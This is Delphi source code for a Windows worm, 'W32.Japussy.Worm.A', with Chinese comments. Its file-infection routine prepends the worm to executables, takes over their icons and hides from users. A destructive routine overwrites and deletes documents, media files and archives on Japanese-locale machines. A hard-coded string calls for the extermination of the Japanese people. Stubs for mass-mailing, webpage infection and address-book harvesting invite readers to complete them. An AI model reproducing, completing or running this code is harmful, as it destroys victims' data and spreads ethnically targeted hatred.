程序代码：
program Japussy;
uses
   Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
   HeaderSize = 82432;                   //病毒体的大小
   IconOffset = $12EB8;                  //PE文件主图标的偏移量
  
   //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
   //查找2800000020的十六进制字符串可以找到主图标的偏移量
   
{
   HeaderSize = 38912;                   //Upx压缩过病毒体的大小
   IconOffset = $92BC;                   //Upx压缩过PE文件主图标的偏移量
  
   //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
   IconSize    = $2E8;                    //PE文件主图标的大小--744字节
   IconTail    = IconOffset + IconSize;   //PE文件主图标的尾部
   ID          = $44444444;               //感染标记
  
   //垃圾码，以备写入
   Catchword = 'If a race need to be killed out, it must be Yamato. ' +
               'If a country need to be destroyed, it must be Japan! ' +
               '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
   stdcall; external 'Kernel32.dll'; //函数声明
var
   TmpFile: string;
   Si:       STARTUPINFO;
   Pi:       PROCESS_INFORMATION;
   IsJap:    Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
   Ver: TOSVersionInfo;
begin
   Result := False;
   Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
   if not GetVersionEx(Ver) then
     Exit;
   if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
     Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
   dStartPos: Integer; Count: Integer);
var
   sCurPos, dCurPos: Integer;
begin
   sCurPos := Src.Position;
   dCurPos := Dst.Position;
   Src.Seek(sStartPos, 0);
   Dst.Seek(dStartPos, 0);
   Dst.CopyFrom(Src, Count);
   Src.Seek(sCurPos, 0);
   Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
   sStream, dStream: TFileStream;
begin
   try
     sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
     try
       dStream := TFileStream.Create(FileName, fmCreate);
       try
         sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
         dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
       finally
         dStream.Free;
       end;
     finally
       sStream.Free;
     end;
   except
   end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
   Si.cb := SizeOf(Si);
   Si.lpReserved := nil;
   Si.lpDesktop := nil;
   Si.lpTitle := nil;
   Si.dwFlags := STARTF_USESHOWWINDOW;
   Si.wShowWindow := State;
   Si.cbReserved2 := 0;
   Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
   //哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
   HdrStream, SrcStream: TFileStream;
   IcoStream, DstStream: TMemoryStream;
   iID: LongInt;
   aIcon: TIcon;
   Infected, IsPE: Boolean;
   i: Integer;
   Buf: array[0..1] of Char;
begin
   try //出错则文件正在被使用，退出
     if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
       Exit;
     Infected := False;
     IsPE      := False;
     SrcStream := TFileStream.Create(FileName, fmOpenRead);
     try
       for i := 0 to $108 do //检查PE文件头
       begin
         SrcStream.Seek(i, soFromBeginning);
         SrcStream.Read(Buf, 2);
         if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
         begin
           IsPE := True; //是PE文件
           Break;
         end;
       end;
       SrcStream.Seek(-4, soFromEnd); //检查感染标记
       SrcStream.Read(iID, 4);
       if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
         Infected := True;
     finally
       SrcStream.Free;
     end;
     if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
       Exit;
     IcoStream := TMemoryStream.Create;
     DstStream := TMemoryStream.Create;
     try
       aIcon := TIcon.Create;
       try
         //得到被感染文件的主图标(744字节)，存入流
         aIcon.ReleaseHandle;
         aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
         aIcon.SaveToStream(IcoStream);
       finally
         aIcon.Free;
       end;
       SrcStream := TFileStream.Create(FileName, fmOpenRead);
       //头文件
       HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
       try
         //写入病毒体主图标之前的数据
         CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
         //写入目前程序的主图标
         CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
         //写入病毒体主图标到病毒体尾部之间的数据
         CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
         //写入宿主程序
         CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
         //写入已感染的标记
         DstStream.Seek(0, 2);
         iID := $44444444;
         DstStream.Write(iID, 4);
       finally
         HdrStream.Free;
       end;
     finally
       SrcStream.Free;
       IcoStream.Free;
       DstStream.SaveToFile(FileName); //替换宿主文件
       DstStream.Free;
     end;
   except;
   end;
end;

{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
   FileHandle: Integer;
   i, Size, Mass, Max, Len: Integer;
begin
   try
     SetFileAttributes(PChar(FileName), 0); //去掉只读属性
     FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
     try
       Size := GetFileSize(FileHandle, nil); //文件大小
       i := 0;
       Randomize;
       Max := Random(15); //写入垃圾码的随机次数
       if Max < 5 then
         Max := 5;
       Mass := Size div Max; //每个间隔块的大小
       Len := Length(Catchword);
       while i < Max do
       begin
         FileSeek(FileHandle, i * Mass, 0); //定位
         //写入垃圾码，将文件彻底破坏掉
         FileWrite(FileHandle, Catchword, Len);
         Inc(i);
       end;
     finally
       FileClose(FileHandle); //关闭文件
     end;
     DeleteFile(PChar(FileName)); //删除之
   except
   end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
   DiskType: Word;
   D: Char;
   Str: string;
   i: Integer;
begin
   for i := 0 to 25 do //遍历26个字母
   begin
     D := Chr(i + 65);
     Str := D + ':';
     DiskType := GetDriveType(PChar(Str));
     //得到本地磁盘和网络盘
     if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
       Result := Result + D;
   end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
   i, Count: Integer;
   Fn, Ext: string;
   SubDir: TStrings;
   SearchRec: TSearchRec;
   Msg: TMsg;
   function IsValidDir(SearchRec: TSearchRec): Integer;
   begin
     if (SearchRec.Attr <> 16) and   (SearchRec.Name <> '.') and
       (SearchRec.Name <> '..') then
       Result := 0 //不是目录
     else if (SearchRec.Attr = 16) and   (SearchRec.Name <> '.') and
       (SearchRec.Name <> '..') then
         Result := 1 //不是根目录
     else Result := 2; //是根目录
   end;
begin
   if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
   begin
     repeat
       PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
       if IsValidDir(SearchRec) = 0 then
       begin
         Fn := Path + SearchRec.Name;
         Ext := UpperCase(ExtractFileExt(Fn));
         if (Ext = '.EXE') or (Ext = '.SCR') then
         begin
           InfectOneFile(Fn); //感染可执行文件        
         end
         else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
         begin
           //感染HTML和ASP文件，将Base64编码后的病毒写入
           //感染浏览此网页的所有用户
           //哪位大兄弟愿意完成之？
         end
         else if Ext = '.WAB' then //Outlook地址簿文件
         begin
           //获取Outlook邮件地址
         end
         else if Ext = '.ADC' then //Foxmail地址自动完成文件
         begin
           //获取Foxmail邮件地址
         end
         else if Ext = 'IND' then //Foxmail地址簿文件
         begin
           //获取Foxmail邮件地址
         end
         else
         begin
           if IsJap then //是倭文操作系统
           begin
             if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
               (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
               (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
               (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
               (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
               (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
                 SmashFile(Fn); //摧毁文件
           end;
         end;
       end;
       //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
       Sleep(200);
     until (FindNext(SearchRec) <> 0);
   end;
   FindClose(SearchRec);
   SubDir := TStringList.Create;
   if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
   begin
     repeat
       if IsValidDir(SearchRec) = 1 then
         SubDir.Add(SearchRec.Name);
     until (FindNext(SearchRec) <> 0);
     end;
   FindClose(SearchRec);
   Count := SubDir.Count - 1;
   for i := 0 to Count do
     LoopFiles(Path + SubDir.Strings[i] + '', Mask);
   FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;

var
   DriverList: string;
   i, Len: Integer;
begin
   if GetACP = 932 then //日文操作系统
     IsJap := True; //去死吧！
   DriverList := GetDrives; //得到可写的磁盘列表
   Len := Length(DriverList);
   while True do //死循环
   begin
     for i := Len downto 1 do //遍历每个磁盘驱动器
       LoopFiles(DriverList[i] + ':', '*.*'); //感染之
     SendMail; //发带毒邮件
     Sleep(1000 * 60 * 5); //睡眠5分钟
   end;
end;
{ 主程序开始 }
begin
   if IsWin9x then //是Win9x
     RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
   else //WinNT
   begin
     //远程线程映射到Explorer进程
     //哪位兄台愿意完成之？
   end;
   //如果是原始病毒体自己
   if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
     InfectFiles //感染和发邮件
   else //已寄生于宿主程序上了，开始工作
   begin
     TmpFile := ParamStr(0); //创建临时文件
     Delete(TmpFile, Length(TmpFile) - 4, 4);
     TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
     ExtractFile(TmpFile); //分离之
     FillStartupInfo(Si, SW_SHOWDEFAULT);
     CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
       0, nil, '.', Si, Pi); //创建新进程运行之
     InfectFiles; //感染和发邮件
   end;
end.